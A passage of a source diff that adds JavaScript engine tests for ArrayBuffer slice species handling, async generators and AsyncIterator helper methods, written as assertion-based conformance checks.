+++ b/js/src/tests/non262/ArrayBuffer/slice-species.js
@@ -0,0 +1,180 @@
+const tests = [
+ [Int8Array, [9, 10, 11, 12, 13, 14, 15, 16]],
+ [Uint8Array, [9, 10, 11, 12, 13, 14, 15, 16]],
+ [Uint8ClampedArray, [9, 10, 11, 12, 13, 14, 15, 16]],
+ [Int16Array, [5, 6, 7, 8]],
+ [Uint16Array, [5, 6, 7, 8]],
+ [Int32Array, [3, 4]],
+ [Uint32Array, [3, 4]],
+ [Float32Array, [3, 4]],
+ [Float64Array, [2]],
+];
+
+let logs = [];
+for (let [ctor, answer] of tests) {
+ let arr = new ctor([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16]);
+
+ let proxyProto = new Proxy({}, {
+ get(that, name) {
+ throw new Error("unexpected prop access");
+ }
+ });
+
+ class MyArrayBuffer extends ArrayBuffer {}
+
+ arr.buffer.constructor = new Proxy({}, {
+ get(that, name) {
+ if (name == Symbol.species) {
+ logs.push("get @@species");
+ let C = new Proxy(function(...args) {
+ logs.push("call ctor");
+ return new MyArrayBuffer(...args);
+ }, {
+ get(that, name) {
+ logs.push("get ctor." + String(name));
+ if (name == "prototype") {
+ return proxyProto;
+ }
+ throw new Error("unexpected prop access");
+ }
+ });
+ return C;
+ }
+ throw new Error("unexpected prop access");
+ }
+ });
+
+ logs.length = 0;
+ let buf = arr.buffer.slice(8, 16);
+ assertEq(buf.constructor, MyArrayBuffer);
+ assertDeepEq(logs, ["get @@species", "get ctor.prototype", "call ctor"]);
+ assertDeepEq([...new ctor(buf)], answer);
+
+
+ // modified @@species
+ let a = arr.buffer;
+ a.constructor = {
+ [Symbol.species]: MyArrayBuffer
+ };
+ let b = a.slice(8, 16);
+ assertEq(b.constructor, MyArrayBuffer);
+ assertDeepEq([...new ctor(b)], answer);
+
+ class MyArrayBufferWithSpecies extends ArrayBuffer {
+ get [Symbol.species]() {
+ return MyArrayBufferWithSpecies;
+ }
+ }
+ a = arr.buffer;
+ a.constructor = MyArrayBufferWithSpecies;
+ b = a.slice(8, 16);
+ assertEq(b.constructor, MyArrayBufferWithSpecies);
+ assertDeepEq([...new ctor(b)], answer);
+
+ // no @@species
+ a = arr.buffer;
+ a.constructor = {
+ [Symbol.species]: undefined
+ };
+ b = a.slice(8, 16);
+ assertEq(b.constructor, ArrayBuffer);
+ assertDeepEq([...new ctor(b)], answer);
+
+ a = arr.buffer;
+ a.constructor = {
+ [Symbol.species]: null
+ };
+ b = a.slice(8, 16);
+ assertEq(b.constructor, ArrayBuffer);
+ assertDeepEq([...new ctor(b)], answer);
+
+ // invalid @@species
+ for (let species of [0, 1.1, true, false, "a", /a/, Symbol.iterator, [], {}]) {
+ a = arr.buffer;
+ a.constructor = {
+ [Symbol.species]: species
+ };
+ assertThrowsInstanceOf(() => a.slice(8, 16), TypeError);
+ }
+
+ // undefined constructor
+ a = arr.buffer;
+ a.constructor = undefined;
+ b = a.slice(8, 16);
+ assertEq(b.constructor, ArrayBuffer);
+ assertDeepEq([...new ctor(b)], answer);
+
+ // invalid constructor
+ for (let ctor of [null, 0, 1.1, true, false, "a", Symbol.iterator]) {
+ a = arr.buffer;
+ a.constructor = ctor;
+ assertThrowsInstanceOf(() => a.slice(8, 16), TypeError);
+ }
+
+ // @@species from different global
+ let g = newGlobal();
+ g.eval("var MyArrayBuffer = class MyArrayBuffer extends ArrayBuffer {};");
+ a = arr.buffer;
+ a.constructor = {
+ [Symbol.species]: g.MyArrayBuffer
+ };
+ b = a.slice(8, 16);
+ assertEq(b.constructor, g.MyArrayBuffer);
+ assertDeepEq([...new ctor(b)], answer);
+
+ a = arr.buffer;
+ a.constructor = {
+ [Symbol.species]: g.ArrayBuffer
+ };
+ b = a.slice(8, 16);
+ assertEq(b.constructor, g.ArrayBuffer);
+ assertDeepEq([...new ctor(b)], answer);
+
+ // constructor from different global
+ g.eval(`
+var MyArrayBufferWithSpecies = class MyArrayBufferWithSpecies extends ArrayBuffer {
+ get [Symbol.species]() {
+ return MyArrayBufferWithSpecies;
+ }
+};
+`);
+ a = arr.buffer;
+ a.constructor = g.MyArrayBufferWithSpecies;
+ b = a.slice(8, 16);
+ assertEq(b.constructor, g.MyArrayBufferWithSpecies);
+ assertDeepEq([...new ctor(b)], answer);
+
+ g.eval(`
+var arr = new ${ctor.name}([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16]);
+var a = arr.buffer;
+`);
+ b = ArrayBuffer.prototype.slice.call(g.a, 8, 16);
+ assertEq(b.constructor, g.ArrayBuffer);
+ assertDeepEq([...new ctor(b)], answer);
+
+ // running in different global
+ b = g.a.slice(8, 16);
+ assertEq(b.constructor, g.ArrayBuffer);
+ assertDeepEq([...new ctor(b)], answer);
+
+ // subclasses
+ // not-modified @@species
+ a = new MyArrayBuffer(16);
+ b = a.slice(8, 16);
+ assertEq(b.constructor, MyArrayBuffer);
+
+ // modified @@species
+ class MyArrayBuffer2 extends ArrayBuffer {
+ }
+ class MyArrayBuffer3 extends ArrayBuffer {
+ static get [Symbol.species]() {
+ return MyArrayBuffer2;
+ }
+ }
+ a = new MyArrayBuffer3(16);
+ b = a.slice(8, 16);
+ assertEq(b.constructor, MyArrayBuffer2);
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/AsyncGenerators/async-generator-declaration-in-modules.js b/js/src/tests/non262/AsyncGenerators/async-generator-declaration-in-modules.js
new file mode 100644
index 0000000000..40509d990d
--- /dev/null
+++ b/js/src/tests/non262/AsyncGenerators/async-generator-declaration-in-modules.js
@@ -0,0 +1,11 @@
+async function* f() {
+ return "success";
+}
+
+var AsyncGenerator = (async function*(){}).constructor;
+
+assertEq(f instanceof AsyncGenerator, true);
+
+f().next().then(v => {
+ reportCompare("success", v.value);
+});
diff --git a/js/src/tests/non262/AsyncGenerators/browser.js b/js/src/tests/non262/AsyncGenerators/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/AsyncGenerators/browser.js
diff --git a/js/src/tests/non262/AsyncGenerators/create-function-parse-before-getprototype.js b/js/src/tests/non262/AsyncGenerators/create-function-parse-before-getprototype.js
new file mode 100644
index 0000000000..1c7f8df689
--- /dev/null
+++ b/js/src/tests/non262/AsyncGenerators/create-function-parse-before-getprototype.js
@@ -0,0 +1,19 @@
+var getProtoCalled = false;
+
+var newTarget = Object.defineProperty(function(){}.bind(), "prototype", {
+ get() {
+ getProtoCalled = true;
+ return null;
+ }
+});
+
+var AsyncGenerator = async function*(){}.constructor;
+
+assertThrowsInstanceOf(() => {
+ Reflect.construct(AsyncGenerator, ["@error"], newTarget);
+}, SyntaxError);
+
+assertEq(getProtoCalled, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/AsyncGenerators/cross-compartment.js b/js/src/tests/non262/AsyncGenerators/cross-compartment.js
new file mode 100644
index 0000000000..2cf577b126
--- /dev/null
+++ b/js/src/tests/non262/AsyncGenerators/cross-compartment.js
@@ -0,0 +1,90 @@
+var g = newGlobal();
+g.mainGlobal = this;
+
+if (typeof isSameCompartment !== "function") {
+ var isSameCompartment = SpecialPowers.Cu.getJSTestingFunctions().isSameCompartment;
+}
+
+var next = async function*(){}.prototype.next;
+
+var f = g.eval(`(async function*() {
+ var x = yield {message: "yield"};
+
+ // Input completion values are correctly wrapped into |f|'s compartment.
+ assertEq(isSameCompartment(x, mainGlobal), true);
+ assertEq(x.message, "continue");
+
+ return {message: "return"};
+})`);
+
+var it = f();
+
+// The async iterator is same-compartment with |f|.
+assertEq(isSameCompartment(it, f), true);
+
+var p1 = next.call(it, {message: "initial yield"});
+
+// The promise object is same-compartment with |f|.
+assertEq(isSameCompartment(p1, f), true);
+
+// Note: This doesn't follow the spec, which requires that only |p1 instanceof Promise| is true.
+assertEq(p1 instanceof Promise || p1 instanceof g.Promise, true);
+
+p1.then(v => {
+ // The iterator result object is same-compartment with |f|.
+ assertEq(isSameCompartment(v, f), true);
+ assertEq(v.done, false);
+
+ assertEq(isSameCompartment(v.value, f), true);
+ assertEq(v.value.message, "yield");
+});
+
+var p2 = next.call(it, {message: "continue"});
+
+// The promise object is same-compartment with |f|.
+assertEq(isSameCompartment(p2, f), true);
+
+// Note: This doesn't follow the spec, which requires that only |p2 instanceof Promise| is true.
+assertEq(p2 instanceof Promise || p2 instanceof g.Promise, true);
+
+p2.then(v => {
+ // The iterator result object is same-compartment with |f|.
+ assertEq(isSameCompartment(v, f), true);
+ assertEq(v.done, true);
+
+ assertEq(isSameCompartment(v.value, f), true);
+ assertEq(v.value.message, "return");
+});
+
+var p3 = next.call(it, {message: "already finished"});
+
+// The promise object is same-compartment with |f|.
+assertEq(isSameCompartment(p3, f), true);
+
+// Note: This doesn't follow the spec, which requires that only |p3 instanceof Promise| is true.
+assertEq(p3 instanceof Promise || p3 instanceof g.Promise, true);
+
+p3.then(v => {
+ // The iterator result object is same-compartment with |f|.
+ assertEq(isSameCompartment(v, f), true);
+ assertEq(v.done, true);
+ assertEq(v.value, undefined);
+});
+
+var p4 = next.call({}, {message: "bad |this| argument"});
+
+// The promise object is same-compartment with |next|.
+assertEq(isSameCompartment(p4, next), true);
+
+// Only in this case we're following the spec and are creating the promise object
+// in the correct realm.
+assertEq(p4 instanceof Promise, true);
+
+p4.then(() => {
+ throw new Error("expected a TypeError");
+}, e => {
+ assertEq(e instanceof TypeError, true);
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncGenerators/for-await-bad-syntax.js b/js/src/tests/non262/AsyncGenerators/for-await-bad-syntax.js
new file mode 100644
index 0000000000..e1d90aeb76
--- /dev/null
+++ b/js/src/tests/non262/AsyncGenerators/for-await-bad-syntax.js
@@ -0,0 +1,24 @@
+var AsyncGenerator = async function*(){}.constructor;
+
+function assertSyntaxError(code) {
+ var functionCode = `async function* f() { ${code} }`;
+ assertThrowsInstanceOf(() => AsyncGenerator(code), SyntaxError, "AsyncGenerator:" + code);
+ assertThrowsInstanceOf(() => eval(functionCode), SyntaxError, "eval:" + functionCode);
+ var ieval = eval;
+ assertThrowsInstanceOf(() => ieval(functionCode), SyntaxError, "indirect eval:" + functionCode);
+}
+
+assertSyntaxError(`for await (;;) ;`);
+
+for (var decl of ["", "var", "let", "const"]) {
+ for (var head of ["a", "a = 0", "a, b", "[a]", "[a] = 0", "{a}", "{a} = 0"]) {
+ // Ends with C-style for loop syntax.
+ assertSyntaxError(`for await (${decl} ${head} ;;) ;`);
+
+ // Ends with for-in loop syntax.
+ assertSyntaxError(`for await (${decl} ${head} in null) ;`);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncGenerators/for-await-of-error.js b/js/src/tests/non262/AsyncGenerators/for-await-of-error.js
new file mode 100644
index 0000000000..36e10313a4
--- /dev/null
+++ b/js/src/tests/non262/AsyncGenerators/for-await-of-error.js
@@ -0,0 +1,26 @@
+var BUGNUMBER = 1391519;
+var summary = "for-await-of outside of async function should provide better error";
+
+print(BUGNUMBER + ": " + summary);
+
+let caught = false;
+try {
+ eval("for await (let x of []) {}");
+} catch(e) {
+ assertEq(e.message.includes("for await (... of ...) is only valid in"), true);
+ caught = true;
+}
+assertEq(caught, true);
+
+// Extra `await` shouldn't throw that error.
+caught = false;
+try {
+ eval("async function f() { for await await (let x of []) {} }");
+} catch(e) {
+ assertEq(e.message, "missing ( after for");
+ caught = true;
+}
+assertEq(caught, true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/AsyncGenerators/shell.js b/js/src/tests/non262/AsyncGenerators/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/AsyncGenerators/shell.js
diff --git a/js/src/tests/non262/AsyncIterator/asynciterator.js b/js/src/tests/non262/AsyncIterator/asynciterator.js
new file mode 100644
index 0000000000..048c3b4392
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/asynciterator.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator')) -- AsyncIterator is not enabled unconditionally
+/*---
+ Property descriptor of AsyncIterator.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(this, 'AsyncIterator');
+assertEq(propDesc.value, AsyncIterator);
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/constructor-subclassable.js b/js/src/tests/non262/AsyncIterator/constructor-subclassable.js
new file mode 100644
index 0000000000..4e8061cfe7
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/constructor-subclassable.js
@@ -0,0 +1,12 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ AsyncIterator constructor can be subclassed.
+---*/
+
+class TestIterator extends AsyncIterator {
+}
+
+assertEq(new TestIterator() instanceof AsyncIterator, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/constructor-throw-when-called-directly.js b/js/src/tests/non262/AsyncIterator/constructor-throw-when-called-directly.js
new file mode 100644
index 0000000000..8abc132282
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/constructor-throw-when-called-directly.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ AsyncIterator constructor throws when called directly.
+---*/
+
+assertThrowsInstanceOf(() => new AsyncIterator(), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/constructor-throw-without-new.js b/js/src/tests/non262/AsyncIterator/constructor-throw-without-new.js
new file mode 100644
index 0000000000..699bbed007
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/constructor-throw-without-new.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator')) -- AsyncIterator is not enabled unconditionally
+/*---
+ AsyncIterator constructor throws when called without new.
+---*/
+
+assertThrowsInstanceOf(() => AsyncIterator(), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/constructor.js b/js/src/tests/non262/AsyncIterator/constructor.js
new file mode 100644
index 0000000000..e421c4e98b
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/constructor.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator')) -- AsyncIterator is not enabled unconditionally
+/*---
+ The AsyncIterator constructor is a built-in function.
+---*/
+
+assertEq(typeof AsyncIterator, 'function');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/length.js b/js/src/tests/non262/AsyncIterator/length.js
new file mode 100644
index 0000000000..26803fc44e
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/length.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator')) -- AsyncIterator is not enabled unconditionally
+/*---
+ The "length" property of AsyncIterator
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator, 'length');
+assertEq(propDesc.value, 0);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/name.js b/js/src/tests/non262/AsyncIterator/name.js
new file mode 100644
index 0000000000..d8944341b5
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator')) -- AsyncIterator is not enabled unconditionally
+/*---
+ The "name" property of AsyncIterator
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator, 'name');
+assertEq(propDesc.value, 'AsyncIterator');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/proto.js b/js/src/tests/non262/AsyncIterator/proto.js
new file mode 100644
index 0000000000..3f19f099c7
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/proto.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator')) -- AsyncIterator is not enabled unconditionally
+/*---
+ The prototype of the AsyncIterator constructor is the intrinsic object %FunctionPrototype%.
+---*/
+
+assertEq(Object.getPrototypeOf(AsyncIterator), Function.prototype);
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator, 'prototype');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, false);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/asIndexedPairs/asIndexedPairs.js b/js/src/tests/non262/AsyncIterator/prototype/asIndexedPairs/asIndexedPairs.js
new file mode 100644
index 0000000000..71ae91d602
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/asIndexedPairs/asIndexedPairs.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+let iter = gen().asIndexedPairs();
+
+for (const v of [[0, 1], [1, 2], [2, 3]]) {
+ iter.next().then(
+ result => {
+ console.log(result);
+ assertEq(result.done, false);
+ assertEq(result.value[0], v[0]);
+ assertEq(result.value[1], v[1]);
+ }
+ );
+}
+
+iter.next().then(({done}) => assertEq(done, true));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/asIndexedPairs/length.js b/js/src/tests/non262/AsyncIterator/prototype/asIndexedPairs/length.js
new file mode 100644
index 0000000000..6854cd7dd2
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/asIndexedPairs/length.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.asIndexedPairs length value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(AsyncIterator.prototype.asIndexedPairs.length, 0);
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.asIndexedPairs, 'length');
+assertEq(propertyDescriptor.value, 0);
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/asIndexedPairs/name.js b/js/src/tests/non262/AsyncIterator/prototype/asIndexedPairs/name.js
new file mode 100644
index 0000000000..c19ac4105e
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/asIndexedPairs/name.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.asIndexedPairs.name value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(AsyncIterator.prototype.asIndexedPairs.name, 'asIndexedPairs');
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.asIndexedPairs, 'name');
+assertEq(propertyDescriptor.value, 'asIndexedPairs');
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/async-iterator-helpers-from-other-global.js b/js/src/tests/non262/AsyncIterator/prototype/async-iterator-helpers-from-other-global.js
new file mode 100644
index 0000000000..f8b8d719cd
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/async-iterator-helpers-from-other-global.js
@@ -0,0 +1,65 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestError extends Error {}
+
+class TestIterator extends AsyncIterator {
+ async next() {
+ return {done: false, value: 'value'};
+ }
+
+ closed = false;
+ async return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+function checkIterResult({done, value}, expectedDone, expectedValue) {
+ assertEq(done, expectedDone);
+ assertEq(Array.isArray(value) ? value[1] : value, expectedValue);
+}
+
+const otherGlobal = newGlobal({newCompartment: true});
+
+const methods = [
+ ["map", x => x],
+ ["filter", x => true],
+ ["take", Infinity],
+ ["drop", 0],
+ ["asIndexedPairs", undefined],
+ ["flatMap", async function*(x) { yield x; }],
+];
+
+const {next: otherNext, return: otherReturn, throw: otherThrow} =
+ Object.getPrototypeOf(otherGlobal.eval("(async function*() {})().map(x => x)"));
+
+(async () => {
+ for (const [method, arg] of methods) {
+ const iterator = new TestIterator();
+ const helper = iterator[method](arg);
+ checkIterResult(await otherNext.call(helper), false, 'value');
+ }
+
+ for (const [method, arg] of methods) {
+ const iterator = new TestIterator();
+ const helper = iterator[method](arg);
+ assertEq(iterator.closed, false);
+ checkIterResult(await otherReturn.call(helper), true, undefined);
+ assertEq(iterator.closed, true);
+ }
+
+ for (const [method, arg] of methods) {
+ const iterator = new TestIterator();
+ const helper = iterator[method](arg);
+ try {
+ await otherThrow.call(helper, new TestError());
+ assertEq(true, false, 'Expected exception');
+ } catch (exc) {
+ assertEq(exc instanceof TestError, true);
+ }
+ checkIterResult(await helper.next(), true, undefined);
+ }
+})();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/clobber-symbol.js b/js/src/tests/non262/AsyncIterator/prototype/clobber-symbol.js
new file mode 100644
index 0000000000..5db6b2276f
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/clobber-symbol.js
@@ -0,0 +1,50 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+//
+
+/*---
+esid: pending
+description: %AsyncIterator.prototype% methods work even if the global Symbol has been clobbered.
+info: >
+ Iterator Helpers proposal 2.1.6
+features: [iterator-helpers, Symbol.asyncIterator]
+---*/
+
+Symbol = undefined;
+assertThrowsInstanceOf(() => Symbol.asyncIterator, TypeError);
+
+async function* gen(value) {
+ yield value;
+}
+
+const lazyMethods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(gen),
+];
+
+const strictMethods = [
+ iter => iter.reduce((_, x) => x, undefined),
+ iter => iter.toArray(),
+ iter => iter.forEach(() => undefined),
+ iter => iter.some(x => true),
+ iter => iter.every(x => true),
+ iter => iter.find(x => true),
+];
+
+(async () => {
+ for (const method of lazyMethods) {
+ const {value} = await method(gen('value')).next();
+ assertEq(Array.isArray(value) ? value[1] : value, 'value');
+ }
+
+ for (const method of strictMethods) {
+ await method(gen('value'));
+ }
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/drop/drop-more-than-available.js b/js/src/tests/non262/AsyncIterator/prototype/drop/drop-more-than-available.js
new file mode 100644
index 0000000000..45e0f91559
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/drop/drop-more-than-available.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.drop returns if the iterator is done.
+info: >
+ Iterator Helpers proposal 2.1.6.5
+ 1. Repeat, while remaining > 0,
+ ...
+ b. Let next be ? Await(? IteratorStep(iterated)).
+ c. If ? IteratorComplete(next) is true, return undefined.
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends AsyncIterator {
+ counter = 0;
+ async next() {
+ return {done: ++this.counter >= 2, value: undefined};
+ }
+}
+
+(async () => {
+ let iter = [1, 2].values().drop(3);
+ let result = await iter.next();
+ assertEq(result.value, undefined);
+ assertEq(result.done, true);
+
+ iter = new TestIterator();
+ let dropped = iter.drop(10);
+ result = await dropped.next();
+ assertEq(result.value, undefined);
+ assertEq(result.done, true);
+ assertEq(iter.counter, 2);
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/drop/drop.js b/js/src/tests/non262/AsyncIterator/prototype/drop/drop.js
new file mode 100644
index 0000000000..e380d7b7ed
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/drop/drop.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+let iter = gen().drop(1);
+
+for (const v of [2, 3]) {
+ iter.next().then(
+ ({done, value}) => {
+ assertEq(done, false);
+ assertEq(value, v);
+ }
+ );
+}
+
+iter.next().then(({done}) => assertEq(done, true));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/drop/length.js b/js/src/tests/non262/AsyncIterator/prototype/drop/length.js
new file mode 100644
index 0000000000..6176622f17
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/drop/length.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.drop length value and descriptor.
+info: >
+features: [iterator-helpers]
+---*/
+
+assertEq(AsyncIterator.prototype.drop.length, 1);
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.drop, 'length');
+assertEq(propertyDescriptor.value, 1);
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/drop/name.js b/js/src/tests/non262/AsyncIterator/prototype/drop/name.js
new file mode 100644
index 0000000000..ec0a73416a
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/drop/name.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.drop.name value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(AsyncIterator.prototype.drop.name, 'drop');
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.drop, 'name');
+assertEq(propertyDescriptor.value, 'drop');
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/async-writes.js b/js/src/tests/non262/AsyncIterator/prototype/every/async-writes.js
new file mode 100644
index 0000000000..655dfd2624
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/async-writes.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+let x = {a: () => true};
+
+async function* gen() {
+ yield x.a();
+ yield x.a();
+}
+
+gen().every(() => true).then(
+ () => assertEq(true, false, 'expected error'),
+ err => assertEq(err instanceof Error, true),
+);
+
+x.a = () => {
+ throw Error();
+};
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/check-fn-after-getting-iterator.js b/js/src/tests/non262/AsyncIterator/prototype/every/check-fn-after-getting-iterator.js
new file mode 100644
index 0000000000..ee147ab14b
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/check-fn-after-getting-iterator.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({done: true});
+ }
+}
+
+async function* gen() {
+ yield 1;
+}
+
+const iter = new Proxy(new TestIterator(), handlerProxy);
+iter.every(1).then(() => assertEq(true, false, 'expected error'), err => assertEq(err instanceof TypeError, true));
+
+assertEq(
+ log.join('\n'),
+ `get: every
+get: next`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/coerce-result-to-boolean.js b/js/src/tests/non262/AsyncIterator/prototype/every/coerce-result-to-boolean.js
new file mode 100644
index 0000000000..35c40d235e
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/coerce-result-to-boolean.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen(value) {
+ yield value;
+}
+const fn = x => x;
+function check(value, expected) {
+ gen(value).every(fn).then(result => assertEq(result, expected));
+}
+
+check(true, true);
+check(1, true);
+check([], true);
+check({}, true);
+check('test', true);
+
+check(false, false);
+check(0, false);
+check('', false);
